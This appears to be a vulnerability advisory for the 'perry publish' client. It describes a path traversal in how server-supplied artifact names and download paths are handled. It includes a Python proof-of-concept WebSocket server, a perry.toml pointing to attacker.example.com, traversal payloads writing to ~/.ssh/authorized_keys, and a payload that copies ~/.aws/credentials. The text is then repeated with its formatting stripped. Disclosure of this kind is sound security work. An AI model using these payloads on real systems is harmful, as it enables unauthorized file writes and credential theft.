Summary
perry publish processes ArtifactReady WebSocket messages from the build server and uses the server-supplied artifact_name field without path sanitization to construct the local destination path. A malicious build server can deliver a path traversal payload (e.g. ../../.ssh/authorized_keys) causing perry publish to write arbitrary content to any location writable by the running process. In the self-hosted hub path, the server also controls download_path, enabling arbitrary local file reads.
Details
crates/perry/src/commands/publish/mod.rs:1716-1723:
ServerMessage::ArtifactReady {
artifact_name: name, // verbatim from server WebSocket message
download_url: url,
download_path: dl_path,
..
} => {
artifact_name = Some(name);
download_url = Some(url);
download_path = dl_path;
}
Line 1723:
let dest = args.output.join(&name); // no validation; `name` can contain ../
PathBuf::join does not strip or reject .. components. Attacker-controlled bytes are written to dest via two paths:
Path A (remote hub) — fs::write(&dest, &data) at lines 1746-1765: writes arbitrary downloaded content to the traversed path.
Path B (self-hosted hub) — fs::copy(src_path, &dest) at lines 1726-1728: both src_path (download_path) and dest are server-controlled. The server can set download_path to any local path (e.g. /home/user/.aws/credentials) and artifact_name to any destination, causing the client to copy the file to an attacker-readable location.
The server URL is resolved from --server CLI flag, perry.toml [publish] server, or ~/.perry/config.toml. The primary multi-victim injection vector is a malicious PR adding server = "https://attacker.example.com" to perry.toml; CI pipelines running with --no-interactive or PERRY_NO_CONFIRM=1 receive no confirmation prompt.
PoC
Attacker runs a minimal WebSocket server:
# attacker_hub.py
import asyncio, websockets, json
async def ws_handler(websocket, path):
msg = await websocket.recv()
await websocket.send(json.dumps({
"type": "artifact_ready",
"artifact_name": "../../.ssh/authorized_keys",
"artifact_size": 100,
"sha256": "aabbcc...",
"download_url": "/artifacts/payload",
"expires_in_secs": 3600
}))
await websocket.send(json.dumps({
"type": "complete",
"job_id": "x",
"success": True,
"duration_secs": 1.0,
"artifacts": []
}))
Victim's perry.toml:
[publish]
server = "https://attacker.example.com"
perry publish --output /tmp/output
# Writes to /tmp/output/../../.ssh/authorized_keys = /home/victim/.ssh/authorized_keys
For Path B (self-hosted hub, local file read):
{
"download_path": "/home/victim/.aws/credentials",
"artifact_name": "credentials"
}
Client copies the victim's AWS credentials to the output directory.
Impact
A developer or CI runner executing perry publish against a malicious build server is vulnerable to arbitrary file write (Path A) or arbitrary local file read and copy (Path B) at the privilege level of the running process.
Summary
perry publishprocessesArtifactReadyWebSocket messages from the build server and uses the server-suppliedartifact_namefield without path sanitization to construct the local destination path. A malicious build server can deliver a path traversal payload (e.g.../../.ssh/authorized_keys) causingperry publishto write arbitrary content to any location writable by the running process. In the self-hosted hub path, the server also controlsdownload_path, enabling arbitrary local file reads.Details
crates/perry/src/commands/publish/mod.rs:1716-1723:Line 1723:
PathBuf::joindoes not strip or reject..components. Attacker-controlled bytes are written todestvia two paths:Path A (remote hub) —
fs::write(&dest, &data)at lines 1746-1765: writes arbitrary downloaded content to the traversed path.Path B (self-hosted hub) —
fs::copy(src_path, &dest)at lines 1726-1728: bothsrc_path(download_path) anddestare server-controlled. The server can setdownload_pathto any local path (e.g./home/user/.aws/credentials) andartifact_nameto any destination, causing the client to copy the file to an attacker-readable location.The server URL is resolved from
--serverCLI flag,perry.toml [publish] server, or~/.perry/config.toml. The primary multi-victim injection vector is a malicious PR addingserver = "https://attacker.example.com"toperry.toml; CI pipelines running with--no-interactiveorPERRY_NO_CONFIRM=1receive no confirmation prompt.PoC
Attacker runs a minimal WebSocket server:
Victim's
perry.toml:perry publish --output /tmp/output # Writes to /tmp/output/../../.ssh/authorized_keys = /home/victim/.ssh/authorized_keysFor Path B (self-hosted hub, local file read):
{ "download_path": "/home/victim/.aws/credentials", "artifact_name": "credentials" }Client copies the victim's AWS credentials to the output directory.
Impact
A developer or CI runner executing
perry publishagainst a malicious build server is vulnerable to arbitrary file write (Path A) or arbitrary local file read and copy (Path B) at the privilege level of the running process.